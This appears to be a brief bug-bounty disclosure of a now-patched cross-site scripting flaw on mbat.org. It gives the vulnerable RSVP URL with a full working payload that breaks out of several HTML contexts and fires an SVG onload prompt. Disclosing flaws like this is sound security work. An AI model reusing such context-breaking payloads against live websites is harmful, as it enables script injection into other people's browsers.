mbat.org XSS vulnerability

Vulnerable URL: http://www.mbat.org/Basketball/rsvp?eventuid=0a744e071a9069a427cecb156669cf63=%3C/stYle/%3C/titLe/%3C/teXtarEa/%3C/scRipt/--!%3E\spam404/%22%3E%3Csvg/onload=prompt%28/OPENBUGBOUNTY/%29%3E Details: Description| Value ---|--- Patched:| Yes, at Vulnerability type:| XSS Vulnerability...